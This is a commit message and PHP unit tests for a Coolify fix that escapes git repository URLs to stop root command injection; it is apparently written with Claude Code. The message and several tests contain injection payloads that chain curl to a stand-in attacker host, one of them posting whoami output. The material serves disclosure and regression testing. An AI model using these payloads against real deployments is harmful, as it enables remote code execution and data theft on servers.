**Security Fix: Command Injection Vulnerability**
This commit addresses a critical command injection vulnerability in the
`generateGitLsRemoteCommands` method that could allow low-privileged users
(team members) to execute arbitrary commands as root on the Coolify instance.
**Vulnerability Details:**
- Affected deployment types: `deploy_key` and `source` (GithubApp)
- Attack vector: Malicious git repository URLs containing shell metacharacters
- Impact: Remote code execution as root
- Example payload: `repo.git';curl attacker.com/$(whoami)`
**Changes Made:**
1. **deploy_key deployment type** (Application.php:1111-1112):
- Added proper escaping for `$customRepository` in git ls-remote commands
- Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context
- Wraps repository URL in single quotes to prevent interpretation of shell metacharacters
2. **source deployment type with GithubApp** (Application.php:1067-1086):
- Added `escapeshellarg()` for all repository URL variations
- Covers both public and private repositories
- Handles both Docker and non-Docker execution contexts
3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php):
- Tests for deploy_key type command injection prevention
- Tests for source type with public repos
- Tests for other type (already fixed in previous commit)
- Validates that malicious payloads are properly escaped
**Note:** The `other` deployment type was already fixed in commit b81baff4b.
This commit completes the security fix for all deployment types.
**Technical Details:**
The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`.
When commands are executed inside `bash -c` with single quotes, we must escape
single quotes as `'\''` to prevent the quotes from closing prematurely and
allowing shell injection.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
101 lines
4.1 KiB
PHP
101 lines
4.1 KiB
PHP
<?php
|
|
|
|
use App\Models\Application;
|
|
use App\Models\GithubApp;
|
|
use App\Models\PrivateKey;
|
|
|
|
afterEach(function () {
|
|
Mockery::close();
|
|
});
|
|
|
|
it('escapes malicious repository URLs in deploy_key type', function () {
|
|
// Arrange: Create a malicious repository URL
|
|
$maliciousRepo = 'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`';
|
|
$deploymentUuid = 'test-deployment-uuid';
|
|
|
|
// Mock the application
|
|
$application = Mockery::mock(Application::class)->makePartial();
|
|
$application->git_branch = 'main';
|
|
$application->shouldReceive('deploymentType')->andReturn('deploy_key');
|
|
$application->shouldReceive('customRepository')->andReturn([
|
|
'repository' => $maliciousRepo,
|
|
'port' => 22,
|
|
]);
|
|
|
|
// Mock private key
|
|
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
|
|
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
|
|
$application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey);
|
|
|
|
// Act: Generate git ls-remote commands
|
|
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
|
|
|
|
// Assert: The command should contain escaped repository URL
|
|
expect($result)->toHaveKey('commands');
|
|
$command = $result['commands'];
|
|
|
|
// The malicious payload should be escaped and not executed
|
|
expect($command)->toContain("'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'");
|
|
|
|
// The command should NOT contain unescaped semicolons or backticks that could execute
|
|
expect($command)->not->toContain('repo.git;curl');
|
|
});
|
|
|
|
it('escapes malicious repository URLs in source type with public repo', function () {
|
|
// Arrange: Create a malicious repository name
|
|
$maliciousRepo = "user/repo';curl https://attacker.com/";
|
|
$deploymentUuid = 'test-deployment-uuid';
|
|
|
|
// Mock the application
|
|
$application = Mockery::mock(Application::class)->makePartial();
|
|
$application->git_branch = 'main';
|
|
$application->shouldReceive('deploymentType')->andReturn('source');
|
|
$application->shouldReceive('customRepository')->andReturn([
|
|
'repository' => $maliciousRepo,
|
|
'port' => 22,
|
|
]);
|
|
|
|
// Mock GithubApp source
|
|
$source = Mockery::mock(GithubApp::class)->makePartial();
|
|
$source->shouldReceive('getAttribute')->with('html_url')->andReturn('https://github.com');
|
|
$source->shouldReceive('getAttribute')->with('is_public')->andReturn(true);
|
|
$source->shouldReceive('getMorphClass')->andReturn('App\Models\GithubApp');
|
|
|
|
$application->shouldReceive('getAttribute')->with('source')->andReturn($source);
|
|
$application->source = $source;
|
|
|
|
// Act: Generate git ls-remote commands
|
|
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
|
|
|
|
// Assert: The command should contain escaped repository URL
|
|
expect($result)->toHaveKey('commands');
|
|
$command = $result['commands'];
|
|
|
|
// The command should contain the escaped URL (escapeshellarg wraps in single quotes)
|
|
expect($command)->toContain("'https://github.com/user/repo'\\''");
|
|
});
|
|
|
|
it('escapes repository URLs in other deployment type', function () {
|
|
// Arrange: Create a malicious repository URL
|
|
$maliciousRepo = "https://github.com/user/repo.git';curl https://attacker.com/";
|
|
$deploymentUuid = 'test-deployment-uuid';
|
|
|
|
// Mock the application
|
|
$application = Mockery::mock(Application::class)->makePartial();
|
|
$application->git_branch = 'main';
|
|
$application->shouldReceive('deploymentType')->andReturn('other');
|
|
$application->shouldReceive('customRepository')->andReturn([
|
|
'repository' => $maliciousRepo,
|
|
'port' => 22,
|
|
]);
|
|
|
|
// Act: Generate git ls-remote commands
|
|
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
|
|
|
|
// Assert: The command should contain escaped repository URL
|
|
expect($result)->toHaveKey('commands');
|
|
$command = $result['commands'];
|
|
|
|
// The malicious payload should be escaped (escapeshellarg wraps and escapes quotes)
|
|
expect($command)->toContain("'https://github.com/user/repo.git'\\''");
|
|
});
|